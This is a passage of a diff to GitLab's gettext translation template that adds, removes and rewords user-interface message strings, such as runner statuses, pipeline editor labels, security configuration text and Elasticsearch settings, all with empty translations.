msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
